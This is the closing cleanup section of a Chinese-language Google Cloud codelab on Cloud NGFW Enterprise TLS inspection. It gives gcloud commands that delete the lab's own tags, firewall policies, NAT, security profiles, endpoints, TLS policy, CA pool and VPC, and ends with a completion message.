如果更改了 tagAdmin 和 tagUsers 角色,请执行以下步骤:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除标记键和值:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

移除 Cloud 防火墙网络政策和关联:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

删除 Cloud Router 路由器和 Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

删除预留的 IP 地址:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、关联和 TLS 清理

请按以下顺序删除安全配置文件组和威胁配置文件:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

删除 Cloud Firewall 端点关联:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

删除 Cloud Firewall 端点,这可能需要大约 20 分钟

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

(可选)运行以下命令,确认 Cloud NGFW 端点已删除:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端点的状态应显示为:

STATE: DELETING

完成后,该端点将不再列出。

请按以下顺序删除 TLS 政策和信任配置:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

停用根 CA 和 CA 池并将其删除:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

清理子网和 VPC

最后,删除子网和 VPC 网络:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 恭喜!

恭喜,您已成功完成“适用于东西向和北向 TLS 检查的 Cloud NGFW Enterprise”Codelab。